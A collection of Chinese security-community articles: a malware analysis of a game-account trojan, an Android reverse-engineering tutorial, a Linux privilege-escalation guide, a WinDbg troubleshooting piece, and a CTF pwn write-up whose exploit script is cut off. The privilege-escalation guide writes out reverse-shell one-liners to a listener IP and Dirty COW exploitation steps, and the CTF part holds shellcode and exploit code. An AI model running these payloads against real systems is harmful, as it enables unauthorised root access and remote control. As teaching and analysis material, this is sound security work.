68f836fe094d3401fdee939d45f9c8cc Common.dll
**0x02 分析部分**
**1、启动部分流程图**
**2、样本启动部分分析**
setup.exe与NirCmd.exe被修改为报价表.pif和baijia.pif，从而诱导用户手动运行并执行以下操作:
将主文件复制到C盘SYSWindows目录并给系统添加启动项(由于该文件带有正规厂商签名,大多数杀软会根据白名单机制误认为合法程序而放行),然后运行主程序
把 **C:SYSWindows** 所有文件及文件夹属性设置为系统文件并隐藏
**3、Loader部分**
通过Common.dll的导出函数TXBugReport::InitBugReport执行Loader
其他两个导出函数并无实际功能
解密123.bin并创建svchost.exe(创建后立即挂起)进程，并将解密后的Code写入傀儡进程.
给svchost.exe设置线程上下文，并恢复进程运行.
**4、主要恶意代码部分**
连接C&C服务器
获取前台窗口标题与系统时间并记录键盘输入保存在系统目录的Forshare.key
创建虚拟桌面,可以在用户不知情的情况下登陆用户电脑干任何事, 笔者猜测该功能是为了躲避游戏公司对游戏账号的财产安全保护策略而设立
获取当前用户正在运行的杀毒软件
监听端口并接收执行C&C服务器下发的命令
以下为部分远控功能
该木马含有录音的功能
**5、网络部分**
经分析 ***.luyouxia.net** 域名为某端口映射服务提供商产品所用， 盗号者使用了该产品作了一个本地对外网的端口映射。
近期该域名的网络态势
注：该图来自360网络安全研究院
通过从该端口映射服务提供商官方了解到其产品URL规则为：用户名.线路地址:端口。最后通过盗号者域名确认其使用者为用户名为a271095831的用户。
**0x03 防范建议**
**不要轻易运行任何人发来的文件**
盗号者可能会通过聊天工具来传送盗号木马,并将其伪装成图片、文本文档等等诱导用户运行从而达到控制用户电脑并窃取游戏账号的目的。
**安装可靠的终端安全防护软件**
通过安装可靠的终端安全防护产品来进行进一步的安全防御，“360安全卫士”目前已经能对该样本进行准确的查杀。
**0x04 总结**
根据简要分析，该样本利用正规厂商签名文件运行来绕过杀毒软件，通过虚拟桌面在用户毫无知觉的情况下利用用户的电脑进行盗号操作(这样做可以绕过游戏公司的账号安全策略)
，并且键盘记录功能是全自动开启有可能还会危害到其他方面（比如网银密码等等）。
建议广大游戏玩家立即下载“360安全卫士”进行查杀。 | 社区文章 |
# 【系列分享】安卓Hacking Part 18：逆向工程入门篇
##### 译文声明
本文是翻译文章，文章来源：infosecinstitute.com
原文地址：<http://resources.infosecinstitute.com/android-hacking-and-security-part-18-introduction-to-reverse-engineering/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
在计算领域中，逆向工程是指理解某些系统的运行机制并重用这些信息来做某些事情的过程。这种方式同样适用于Android应用程序。许多情况下，我们都需要对Android应用进行逆向工程。
阅读他人的代码
查找代码中的漏洞
搜索硬编码在代码中的敏感数据
恶意软件分析
修改现有应用程序的功能
**反编译与反汇编**
反编译是将软件的二进制代码转换为文本格式的、编写软件源代码所用的高级语言代码的过程，因为高级语言具有更高的可读性。
不过，反汇编器却不会将二进制转换为高级语言文本：它只是字节到文本的一对一转换，并提供指令助记符，虽然这样也有助于理解代码，但是与直接阅读高级语言源码相比难度要更大一些。
**从Java生成DEX文件**
为了介绍Android应用程序的逆向过程，首先需要了解如何构建应用程序。
如上图所示，
1\. 开发人员用Java编程语言编写源代码，这些文件的扩展名“.java”。
2\. 这些java文件被提交给“javac”编译器，由它生成“.class”文件。
3\. 这些类文件被提交给“dx”工具，以生成“.dex”文件。
4\. 然后，“.dex”文件以及其他资源被打包为“.apk”文件，最后放入Dalvik虚拟机中运行。
要想查看所生成的dex文件的结构的话，我们可以使用010Editor。
在我们继续学习之前，请下载以下工具：
010Editor
dex template
您可以从下面的链接下载010编辑器：
<http://www.sweetscape.com/010editor/>
你可以从下面的链接来下载“dex 模板”：
**下载链接**
1.解压APK文件。在*nix系统中我们可以使用unzip命令进行解压。
2.使用010 Editor打开classes.dex。
3.加载下载的dex模板。
下图是010editor显示一个dex文件。
关于dex文件格式及其工作原理的详细信息，请参阅以下链接。
<https://source.Android.com/devices/tech/dalvik/dex-format.html>
逆向Android应用程序：
现在让我们讨论如何针对Android应用程序进行逆向工程。
**1.反汇编Android应用程序**
可以使用名为APKTOOL的工具获取smali版本的代码。这一点我们在本系列的前面的文章中已经介绍过了。
以下是对Android应用程序进行逆向工程，并使用APKTOOL获取smali代码的具体步骤。
第1步.从以下链接下载APKTOOL
<http://ibotpeaches.github.io/Apktool/>
第2步.运行以下命令获取smali版本的代码。
apktool d [app] .apk
第3步.为了重新编译应用程序，我们只需要修改选项"b"，让它指向存放修改的代码的文件夹的路径即可。
apktool.bat b [path to the target folder]
**2.解压Android应用程序**
在本节中，我们将讨论反编译Android应用程序的两种方法。
使用dex2jar和jad来反编译Android应用程序：
首先，让我们看看如何使用dex2jar和jad来反编译Android应用程序。
步骤1：解压apk文件
如下图所示，目标APK文件位于我当前的文件夹中。
让我们将apk文件的扩展名改为ZIP，如下所示。
现在，我们可以使用unzip命令进行解压了，具体如下所示。
步骤2：dex2jar上场
现在，导航到dex2jar所在的文件夹，并运行以下命令。这将生成一个新的jar文件，具体如下所示。
步骤3：使用unzip命令从新生成的jar文件中提取“.class”文件。
上面的步骤将会创建一些文件夹，这些文件夹的名称与APK工具包名称类似。
这里为com.isi.securelogin
导航到.class文件所在的文件夹，如下所示。
现在，我们需要反编译它们，以获得.java文件。
步骤4：使用JAD反编译器将.class文件解压为Java：
Jad是一个流行的java反编译器。
您可以通过下面的链接下载jad。
<http://www.varaneckas.com/jad>
现在，将我们提取的所有类文件作为输入提供给jad，具体如下所示。
它将在同一个文件夹下面生成.java文件，具体如下所示。
**使用dex2jar和JD-GUI解压Android应用程序**
本节介绍如何使用dex2jar和JD-GUI反编译应用程序。这种方法和以前的方法之间的唯一区别，就是使用JD-GUI代替了JAD。
您可以从下面的链接下载JD-GUI。
<http://jd.benow.ca>
**步骤1：解压apk文件**
让我们将apk文件的扩展名更改为ZIP，如下所示。
现在，我们可以使用unzip命令了，具体如下所示。
**步骤2：使用dex2jar**
就像前面那样，导航到dex2jar所在的文件夹，并运行以下命令。这将生成一个新的jar文件，如下所示。
**步骤3：现在，使用JD-GUI打开这个新生成的jar文件，如下所示。**
这样就能得到反编译的Java代码了。
**传送门**
[**安卓 Hacking Part
1：应用组件攻防（连载）**](http://bobao.360.cn/learning/detail/122.html)
[**安卓 Hacking Part 2：Content
Provider攻防（连载）**](http://bobao.360.cn/learning/detail/127.html)
[**安卓 Hacking Part 3：Broadcast
Receivers攻防（连载）**](http://bobao.360.cn/learning/detail/126.html)
[**安卓 Hacking Part
4：非预期的信息泄露（边信道信息泄露）**](http://bobao.360.cn/learning/detail/133.html)
[**安卓 Hacking Part
5：使用JDB调试Java应用**](http://bobao.360.cn/learning/detail/138.html)
[**安卓 Hacking Part
6：调试Android应用**](http://bobao.360.cn/learning/detail/140.html)
[**安卓 Hacking Part
7：攻击WebView**](http://bobao.360.cn/learning/detail/142.html)
[**安卓 Hacking Part
8：Root的检测和绕过**](http://bobao.360.cn/learning/detail/144.html)
[**安卓 Hacking Part 9：不安全的本地存储：Shared
Preferences**](http://bobao.360.cn/learning/detail/150.html)
[**安卓 Hacking Part
10：不安全的本地存储**](http://bobao.360.cn/learning/detail/152.html)
[**安卓 Hacking Part
11：使用Introspy进行黑盒测试**](http://bobao.360.cn/learning/detail/154.html)
[**安卓 Hacking Part 12：使用第三方库加固Shared
Preferences**](http://bobao.360.cn/learning/detail/156.html)
[**安卓 Hacking Part
13：使用Drozer进行安全测试**](http://bobao.360.cn/learning/detail/158.html)
[**安卓 Hacking Part
14：在没有root的设备上检测并导出app特定的数据**](http://bobao.360.cn/learning/detail/161.html)
[**安卓 Hacking Part
15：使用备份技术黑掉安卓应用**](http://bobao.360.cn/learning/detail/169.html)
[**安卓 Hacking Part 16：脆弱的加密**](http://bobao.360.cn/learning/detail/174.html)
[**安卓 Hacking Part
17：破解Android应用**](http://bobao.360.cn/learning/detail/179.html) | 社区文章 |
## 前言：
上次学习了Windows操作系统的提权以及相关工具的利用，这次就来学习一下Linux操作系统的提权
## Linux提权基础
#### 0x00:Linux提权方法
**大致归纳总结如下：**
不过最核心也是最常见的提取方法还是 **内核提权** ，其他大多与程序员的配置有关，出现的几率不是很高。
#### 0x01:Linux提权基础知识
uname -a
查看内核版本
id
显示用户的ID，以及所属群组的ID
pwd
显示当前路径
dpkg -l
rpm -qa
查看已经安装的程序
cat /etc/issue
cat /etc/*-release
查看发行版
**密码权限**
> 大部分Linux系统的密码都和`/etc/passwd`和`/etc/shadow`这两个配置文件有关，`passwd`里面储存的是 **用户**
> ，`shadow`里面存储的是 **密码的hash值** 。出于安全考虑passwd是全用户可读，root可写的，而shadow是仅root可读写的。
`/etc/passwd`
passwd由冒号分割，第一列是用户名，第二列是密码，x代表密码hash被放在shadow里面.
`/etc/shadow`
shadow里面的就是密码的hash，但只有root权限才可以查看。
**密码复用**
另外需要注意的是很多管理员会重复使用密码，所以有可能数据库或者web后台的密码就是root密码。
**提权常见的流程**
1. `wget http://exp/exp.c`
下载exp文件
2. `gcc -o exp exp.c`
利用gcc进行编译操作，编译成二进制文件
3. `chmod +x exp`
将exp更改为可执行权限
4. `./exp`
运行exp进行提权
#### 0x02:Linux反弹shell
Linux一般拿到`shell`，权限基本都很低,而且在菜刀或其他工具中执行命令没有 **交互过程**
（在菜刀等工具中，只是输入返回内容，如在菜刀中执行`ssh`等命令就不可行），所以需要通过 **反弹shell** 拥有一个 **交互式的shell** 。
**准备环境**
ubuntu + apache
kail 192.168.186.134
ubuntu 192.168.186.152
上传进去一个`php`一句话木马，菜刀连接
查看当前权限
下面就使用 **反弹shell** 的方法获取到 **交互式shell**
**第一种方法：**
> 利用最经典也是最常用的方法进行反弹shell，另外反弹shell时设置的端口最好是常用端口，不常用的端口可能会被防火墙给拦截掉。
先进行本地进行监听:
nc -lvp 53
然后在拿到shell的机器上执行:
bash -i >& /dev/tcp/192.168.186.134/53 0>&1
但是执行失败了，没有权限
**第二种方法：**
利用python脚本进行反弹shell，要将脚本上传到服务器上就要找一个低权限用户可以上传且可以执行的目录，一般在`tmp`或者`/var/tmp`中就有这样的权限
[pyshell](https://github.com/wantongtang/pyshell)
使用方法:
本地监听 ：nc -l -p 53 -vv
目标机器执行：python back.py 192.168.186.134 53
反弹成功，这样就形成了一个交互式的shell，方便下一步的进行
如果在使用python文件没有权限时，使用如下命令即可,因为该文件是当前用户上传进去的，拥有修改的权限。
chmod 777 back.py
#### 0x03:脏牛提权
> `Dirty COW，CVE-2016-5195`，攻击者可利用该漏洞本地以低权限提升到root权限。Dirty COW
> 是一个特权升级漏洞，可以在每个`Linux发行版`中找到。这个漏洞的特别之处在于，防病毒和安全软件无法检测，一旦被利用，根本无从知晓。
漏洞在全版本Linux系统(Linux kernel >= 2.6.22)均可以实现提权
如果内核版本低于列表里的版本，表示还存在脏牛漏洞
Centos7 /RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
[exp地址](https://github.com/FireFart/dirtycow)
在反弹shell成功的基础上继续来做
先来看一下操作系统的版本，低于列表里的版本即存在脏牛漏洞
uname -r
通过`/etc/passwd`了解到超级管理员是root
查看下当前用户的id
下载exp文件
wget https://github.com/FireFart/dirtycow/blob/master/dirty.c
可以看exp中的说明来执行命令
先通过gcc来编译dirty.c文件
gcc -pthread dirty.c -o dirty -lcrypt
编译好的dirty文件，替换root用户
./dirty
成功替换掉了原来的root用户，提权成功。
脏牛提权除下这个exp，还有其他的，例如：`CVE-2016-5195`，具体就不在演示了，按照说明即可，注意文件名不对，自己改下就好。
## Linux提权实战
#### 0x00:Linux分析工具
###### Linux-exploit-suggester
> Linux权限提升审核工具,是基于操作系统的内核版本号。程序会执行“uname
> -r”命令来获取Linux操作系统发行版本，之后返回一个包含了适用exploits的提示列表。
[Linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)
./linux-exploit-suggester.sh
执行命令即可
这样就将存在的漏洞呈现了出来，利用exp提权即可，非常方便.
###### Searchsploit
> Searchsploit通过本地的exploit-db， 查找软件漏洞信息
**使用方法：**
searchsploit
如需查看 **CentOS 7 内核版本为3.10** 的内核漏洞
searchsploit centos 7 kernel 3.10
知道该内核版本下存在哪些漏洞即可进行提权操作
#### 0x02:SUID提权
###### **什么是SUID**
>
> 在Linux中，存在suid、guid、sticky，SUID（设置用户ID）是赋予文件的一种权限，它会出现在文件拥有者权限的执行位上，具有这种权限的文件会在其执行时，使调用者暂时获得该文件拥有者的权限。
如果想要为文件附上这样的权限命令：
chmod u+s
chmod 4755
（有`s`标志位便是拥有SUID权限）
具体的话大致理解就是通过拥有SUID权限二进制文件或程序可以执行命令等，从而进行root提权操作
**查找符合条件的文件**
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
上面的所有二进制文件都可以在root权限下运行，因为属主是root，且权限中含有s
下面就以find命令来实践一下，首先要给find设当SUID权限
chmod u+s /usr/bin/find
如果Find命令也是以Suid权限运行的话，则将通过find执行的所有命令都会以root权限执行。
当前用户为
随便找一个文件主要是为了执行后面的命令
/usr/bin/find pass.txt -exec whoami \;
提权成功，接下来以root用户的身份反弹shell
/usr/bin/find pass.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.150",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;
如果出现如下错误，关闭两边的防火墙即可
反弹shell成功，当然还有其他命令可以进行提权，前提是要有SUID权限，这里就不再举例了。
#### 0x03:历史记录提权
>
> 通过查看历史记录，查看是否有有用的信息，有的管理员为了方便登陆mysql或其他软件时，不经意间加上参数`-p`,从而将密码暴露出来或者一些`.sh`脚本连接mysql、vpn等，查看对应的配置文件即可拿到账号密码
cat ~/.bash_history
保存了当前用户使用过的历史命令
如果拿到数据库的账号密码，有可能就是root密码
#### 0x04:计划任务提权
>
> 系统内可能会有一些定时执行的任务，一般这些任务由crontab来管理，具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出
ls -l /etc/cron*
默认这些程序是以root权限执行，如果有任意用户可写的脚本，我们就可以修改脚本等回连rootshell了。
#### 0x05:配置错误引发提权
手动找如果对Linux系统不熟悉的话基本是找不到的，所以可以利用工具去查找
**unix-privesc-check** ：<http://pentestmonkey.net/tools/audit/unix-privesc-check>
**linuxprivchecker** ：
<https://www.securitysift.com/download/linuxprivchecker.py>
检查了非常多的配置问题，而且还列出了所有的可写文件，如果找到有配置问题的便可以进行提权操作。
## 总结
经过这次学习，简单的算是对Linux提权有了一定的了解，但还有很多姿势需要去学习，还是需要不断去积累。
## 参考博客
<https://www.cnblogs.com/BOHB-yunying/articles/11517748.html>
<https://www.cnblogs.com/hookjoy/p/6612595.html> | 社区文章 |
# 《Dive into Windbg系列》Explorer无法启动排查
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
* 作者：BlackINT3
* 联系：[[email protected]](mailto:[email protected])
* 网站：<https://github.com/BlackINT3>
> 《Dive into Windbg》是一系列关于如何理解和使用Windbg的文章，主要涵盖三个方面：
>
> * 1、Windbg实战运用，排查资源占用、死锁、崩溃、蓝屏等，以解决各种实际问题为导向。
> * 2、Windbg原理剖析，插件、脚本开发，剖析调试原理，便于较更好理解Windbg的工作机制。
> * 3、Windbg后续思考，站在开发和逆向角度，谈谈软件开发，分享作者使用Windbg的一些经历。
>
## 第三篇 《Explorer无法启动排查》
> 涉及知识点：消息机制、进程退出过程、MUI、国际化等。
## 起因
一台Windows服务器迁移后，发现资源管理器explorer启动不了。手动运行依然无法启动，在任务管理器能看到进程启动后消失，服务器是Server2008
R2，64位。
## 初步排查
关于进程退出，能想到其大致流程：
exit => ExitProcess => TerminateProcess => NtTerminateProcess =>
PspTerminateThreadByPointer => 线程内 PspExitNormalApc => PspExitThread =>
释放各种资源、通知调试器等 => KeTerminateThread => 交出调度权
_ExitProcess伪代码流程如下：
//from: https://bbs.pediy.com/thread-188064-1.htm#1287019
int __stdcall _ExitProcess(UINT ExitCode)
{
int result; // eax@1
char v2; // [sp+10h] [bp-DCh]@2
UINT v3; // [sp+38h] [bp-B4h]@2
CPPEH_RECORD ms_exc; // [sp+D4h] [bp-18h]@2
result = __security_cookie;
if ( !BaseRunningInServerProcess )
{
RtlAcquirePebLock();
ms_exc.disabled = 0;
NtTerminateProcess(0, ExitCode);
LdrShutdownProcess();
v3 = ExitCode;
CsrClientCallServer(&v2, 0, 65539, 4);
NtTerminateProcess(-1, ExitCode);
ms_exc.disabled = -1;
result = RtlReleasePebLock();
}
return result;
}
因为是在迁移机器，需要开关机，猜测是explorer产生已知异常导致的正常退出，可能是什么东西被破坏了，常见的像注册表配置、文件等，这种在关机时最可能会出现。
对于这种稳定复现的问题，先挂个调试器看看再说，因为此时资源管理器不在，用热键调出任务管理器，运行windbg，下面是具体调试过程：
直接g调试运行，发现进程直接退出，调试器中断在NtTerminateProcess，通过栈回溯可知是从main函数中的正常退出，跟之前猜想一样，说明这是程序内部已知的错误。
仔细观察发现，调试器捕获到一处异常：
(ae4.284): Unknown exception - code 000006ba (first chance)
难道跟这个异常有关？调试器没断下来，只在first chance，说明异常被内部SEH捕获了，没有到达second
chance，还是看下异常是什么。使用sx命令查看当前windbg调试事件设置：
这里也说明了未知异常只在调试器收到second chance（即SEH不处理）时才break下来，输入sxe *，让其直接中断，重新调试运行。
观察异常堆栈，原来是音频服务RPC Server端抛了异常，不过这跟explorer无法启动应该没有关联。
输入!teb，看看LastError有没有什么线索：
LastStatusValue是c0000034，这里使用一款开源工具：OpenArk
<https://github.com/BlackINT3/OpenArk>
使用.err命令或者直接查看NTSTATUS。
找不到文件？还是先跟进explorer去看看，至少目前有一点线索。
## 步步追踪
在main函数中直接退出，想到WinProc的各种switch，很多应该都被折腾过。不过有符号已经能省很多事了，想想那些没符号全是各种条件断点的crack日子….
通过栈回溯找到调用ExitProcess的地方，ub查看上面的代码，观察哪个点最接近，也可在靠近GetCommandLineW等附近下断点，这样就不用从OEP去跟了。
对于这种必现问题，有两种方法：
1、反汇编代码，可尝试多次下断点、单步跟踪，找到可疑的地方，尤其是要检查一些返回值和LastError。
2、wt直接跟踪，有符号的话，根据函数名找到可疑的地方，结合方法1。
Tips：用bu命令下断点，然后保存到workspace，下次调试继续生效，注意windbg根据符号偏移下断点可能会有bug，以后有机会再来探讨，若有需要可以关掉ASLR。
跟踪发现是CreateDesktopAndTray函数返回NULL，导致退出。
这是第一个关键点，进入函数，发现是因为explorer!c_tray+0x8为NULL导致，一般情况我们可能会考虑内存访问断点来找，不过这种情况下，执行失败后explorer!c_tray可能不会赋值。
观察explorer!CTray::SyncThreadProc线程，c_tray是该线程的一个参数，那么线程应该在初始化c_tray信息，继续跟踪。
最后发现SyncThreadProc调用SHFusionCreateWindowEx函数创建窗口失败了，窗口句柄是NULL，调用之前和调用之后，LastStatusValue都是c0000034，说明开始发现的这个值有误。
跟进SHFusionCreateWindowEx，单步走过CreateWindowEx。有意思的事发生了，得到的窗口句柄rax却不是0，为什么？
说明这个函数内部递归调用，查看栈回溯如下：
说到Windows消息机制，就想到了KeUserModeCallback、KiUserCallbackDispatcher、KernelCallbackTable、LoadLibrary注入、消息钩子等等。
感兴趣的可以看看《KeUserModeCallback用法详解》[https://bbs.pediy.com/thread-104918.htm。](https://bbs.pediy.com/thread-104918.htm%E3%80%82)
NT6之后虽有些不同，但实现思路是一致的。
看到这个_fnINLPCREATESTRUCT蛋疼的命名，我便想起了David Culter看到GUI部门的表情，还是ntoskrnl内部颇有美感。
_fnINLPCREATESTRUCT这个函数便在分发WM_CREATE消息，具体可以看看KernelCallbackTable表，在这个点可以做一些拦截，什么消息钩子、窗口子类化。
接下来思路就清晰了，肯定是某个窗口创建失败了，在调用CreateWindowExW处下条件断点。
bu *** ".if(rax == 0){}.else{gc}"
断下来后，继续查看TEB LastStatus，最后发现是c00b0006错误。
15105 ERROR_MUI_FILE_NOT_LOADED <--> c00b0006 STATUS_MUI_FILE_NOT_LOADED
提示MUI文件不存在，到系统Windows目录查看，explorer.exe.mui果然不在，拷贝之，再次验证，explorer启动成功。。。
MUI文件本身也是PE文件，里面含有语言资源，为了解决国际化，动态分离程序和语言文件，这个和”大名鼎鼎”的LPK有关联。
MUI可以参考：<https://docs.microsoft.com/en-us/windows/desktop/intl/overview-of-mui>
## 结束
很多时候，看似一些难缠的问题背后往往原因很简单。积累经验，总结反思，培养测量意识，善用调试跟踪工具，自动化去解决问题。
比如这次我可以在TEB的LastError用内存访问断点，也可以用Procmon监视文件访问，解决问题的方法基本是：猜想 + 论证 =>…=> 解决。
Thanks for reading。
参考资料：
Google
MSDN
Windbg Help
WRK | 社区文章 |
## 前言
最近看一些国际赛的题目，遇到了一种之前没有见到过的漏洞，是关于`union`这个联合类型的错用，漏洞原理很简单，不过比较新奇，这里分享给大家。
题目文件在[这里](https://github.com/xmzyshypnc/xz_files/tree/master/union_file)
原题在[BUUCTF](https://buuoj.cn/challenges#zer0pts_2020_diylist)平台上有复现，感兴趣的同学可以去做下。
## 预备知识
其实也算不上预备知识，算是小常识，就是`union`类型的变量的内存区域是共享的，这也是为什么我们用`联合`这个类型而不是用结构体，它可以应用在多个变量中只用其一的场景中，这里以一个简单的demo举例，定义`union
var`，包含两个成员变量var1,var2，分别设置值并输出，可以看到二者`共享一块内存区域`，一旦我们修改其一变量，另一个变量的值也会变化，这为我们节省内存带来了便利，然而也造成了一些错用的风险。
// gcc ./poc.c -o poc && ./poc
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
union var {
char var1;
unsigned int var2;
};
int main()
{
union var test;
test.var1 = 'x';
printf("[*]var1 %c @ %p\n",test.var1,&test.var1);
test.var2 = 0x41414141;
printf("[*]var2 0x%x @ %p\n",test.var2,&test.var2);
//what about var1 now ?
printf("[*]var1 %c @0x%p\n",test.var1,&test.var1);
return 0;
}
/*
╭─wz@wz-virtual-machine ~/Desktop/CTF/BesidesCTF2020/ripc4 ‹hexo*›
╰─$ gcc ./poc.c -o poc && ./poc
[*]var1 x @ 0x7fffffffe350
[*]var2 0x41414141 @ 0x7fffffffe350
[*]var1 A @0x0x7fffffffe350
*/
## Bsides CTF 2020 ripc4
### 程序分析
题目给了.c文件，不需要从IDA去看。首先看题目实现的功能，首先关注题目中核心的结构体，这样一个结构体用来表示不同类型的结构
开始需要我们设置ws的类型，这里的ws是通过`workspace_t *ws =
secure_malloc(sizeof(workspace_t));`分配的，我们稍后关注这个函数。
在类型设置完毕之后，我们可以对于不同类型的结构使用不同的功能。核心的逻辑如下，首先对于三种类型的结构，均可以使用`set_input`函数，用以向`input_buf`输入数据。而在使用`set_encoding`功能的时候，会检查是否为`TYPE_ENCRYPT`类型，是的话则不能使用。过检查后调用`set_encoding`函数。
while (1) {
print_menu(ws->type);
char *cmd = prompt("command");
if (!cmd) {
printf("Exiting!\n");
return 0;
}
if (CMD_IS("quit") || CMD_IS("exit")) {
return 0;
} else if (CMD_IS("set_input")) {
set_input(ws);
continue;
} else if (CMD_IS("set_encoding")) {
if (CHECK_TYPE(ws, TYPE_ENCRYPT)) {
printf("No encoding for encrypted type!\n");
continue;
}
set_encoding(ws);
continue;
} else if (CMD_IS("print")) {
print_state(ws);
continue;
} else if (CMD_IS("set_key")) {
if (!CHECK_TYPE(ws, TYPE_ENCRYPT)) {
printf("Can only set key for encrypted type.\n");
continue;
}
set_key(ws);
continue;
} else if (CMD_IS("encrypt")) {
if (!CHECK_TYPE(ws, TYPE_ENCRYPT)) {
printf("Can only encrypt for encrypted type.\n");
continue;
}
do_encrypt(ws);
continue;
}
}
所有类型的结构都可以调用`print`函数。在源码中`print_state`函数似乎做了类型检查，我们跟进去看一下这个宏，会发现只要`target->type
& t == t`即可。而`TYPE_ENCRYPT`为3，`3 & 2 ==
2`，是可以绕过这个检查从而调用`ws->print_encoded(ws->input_buf,
ws->buf_len);`的。而这个函数指针是作为`union`类型变量的一部分，其和`enc_state`是共享内存空间的，我们可以通过`set_key`和`do_encrypt`来设置这个变量，从而使得程序执行任意指令。
#define CHECK_TYPE(ws, t) ((ws->type & t) == t)
#define TYPE_PLAIN 1
#define TYPE_ENCODE 2
#define TYPE_ENCRYPT 3
void print_state(workspace_t *ws) {
if (CHECK_TYPE(ws, TYPE_ENCODE)) {
if (!ws->print_encoded) {
printf("Must use set_encoding first.\n");
return;
}
ws->print_encoded(ws->input_buf, ws->buf_len);
} else if (CHECK_TYPE(ws, TYPE_PLAIN)) {
printf("%s\n", ws->input_buf);
} else {
printf("Printing not supported for encrypted data.\n");
}
}
只有`TYPE_ENCRYPT`可以调用`set_key`函数和`do_encrypt`函数。
以上是主要功能的分析，下面关注函数细节。
secure_malloc会分配一块可以执行的区域并返回。
#define PROT_MASK (PROT_READ|PROT_WRITE|PROT_EXEC)
#define PROT_RW (PROT_MASK|PROT_READ|PROT_WRITE)
void *secure_malloc(size_t sz) {
size_t pg_size = (size_t)sysconf(_SC_PAGESIZE);
// Round size up
sz = (sz + pg_size-1) & ~(pg_size-1);
// Add guard pages
sz += (pg_size << 1);
void *ptr = mmap(NULL, sz, PROT_RW, MAP_PRIVATE|MAP_ANONYMOUS|MAP_LOCKED, -1, 0);
if (ptr == MAP_FAILED) {
printf("Unable to allocate memory!\n\n");
printf("Error: %s\n", strerror(errno));
_exit(1);
}
*(size_t *)ptr = sz;
// Lower guard page
mprotect(ptr, pg_size, PROT_NONE);
// Upper guard page
mprotect((char *)ptr+sz-pg_size, pg_size, PROT_NONE);
return (char *)ptr+pg_size;
}
encode功能实现的是base64的编码以及十六进制的编码。
题目的encrypted部分实现了rc4加密算法，先让用户输入key之后调用`set_key`设置密钥，最后调用`do_encrypt`rc4流密码加密。rc4算法可以网上去找不再赘述。
void set_key(workspace_t *ws) {
char *key_data = prompt("key (hex)");
if (!key_data) {
printf("No key!\n");
return;
}
size_t key_len = strlen(key_data);
if (key_len > (KEY_LEN_MAX * 2) ||
key_len < (KEY_LEN_MIN * 2) ||
key_len % 2) {
printf("Invalid key length!\n");
return;
}
for (int i=0;i<key_len;i+=2) {
int byte;
int rv = sscanf(&key_data[i], "%02x", &byte);
if (rv != 1) {
printf("Invalid key data!\n");
return;
}
key_data[i/2] = (char)(byte & 0xFF);
}
key_len = key_len >> 1;
// Allocate key data
if (ws->enc_state) {
secure_free(ws->enc_state);
ws->enc_state = NULL;
}
ws->enc_state = secure_malloc(RC4_SZ);
// Initial data
for (int i=0;i<RC4_SZ;i++) {
ws->enc_state[i] = i;
}
// Permute from key
int j=0;
for (int i=0;i<RC4_SZ;i++) {
j = (j + ws->enc_state[i] + key_data[i % key_len]) & 0xFF;
char tmp = ws->enc_state[i];
ws->enc_state[i] = ws->enc_state[j];
ws->enc_state[j] = tmp;
}
memset(key_data, 0, key_len * 2);
printf("Key has been set.\n");
}
void do_encrypt(workspace_t *ws) {
// PRGA keystream
int i=0, j=0;
for(int k=0;k<ws->buf_len;k++) {
i += 1;
i &= 0xFF;
j += ws->enc_state[i];
j &= 0xFF;
int tmp = ws->enc_state[i];
ws->enc_state[i] = ws->enc_state[j];
ws->enc_state[j] = tmp;
tmp = ws->enc_state[(ws->enc_state[i] + ws->enc_state[j]) & 0xFF];
ws->input_buf[k] ^= tmp;
}
printf("Buffer encrypted!\n");
}
### 漏洞分析
在程序分析部分我们已经找到了漏洞，即在`print_state`函数中可以执行任意代码，我们可以将其改为shellcode，之后通过调用`print`来触发shellcode执行。
具体如下。
我们输入构造好的Key，使得在初始化key数组以及enc_state数组时让enc_state为shellcode。构造的方式也并不难，我们只需要逆一下`set_key`对于`key`的变换，固定`enc_state`，从而得到输入的`key`。
另外rc4密钥变换的时候是遍历数组，将所有`enc_state`交换一遍，因为`enc_staet`被初始化为`[0,0xff]`，因此混淆之后的数组中不会出现两个相同的byte，如此一来，`/bin/sh`就不能用了，可以先构造个读取后续shellcode的sc，之后输入后面get
shell的sc即可。
调试到代码执行处下断点，看一眼寄存器的情况，发现我们只需要设置`rsi/rdx`即可。
### exp.py
#coding=utf-8
from pwn import *
import random
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 0
elf = ELF('./ripc4')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./ripc4')
else:
p = remote('node3.buuoj.cn',28819)
def exp():
sla(p,"type (plain, encoded, encrypted)> ","encrypted")
sla(p,"command> ","set_key")
#get key
state = range(256)
target = range(256)
sc = asm('''
xor edi,edi
mov rsi,rcx
mov dh,0x4
syscall
''')
sc = list(sc)
shellcode = [ord(item) for item in sc]
target = filter(lambda c: not c in shellcode, target)
target = shellcode + target
sc = ''.join(chr(item) for item in shellcode)
print disasm(sc)
key_lis = range(256)
j = 0
for i in range(256):
tg = target[i]
target_idx = state.index(tg)
temp = target_idx
temp += 0x300
temp -= j
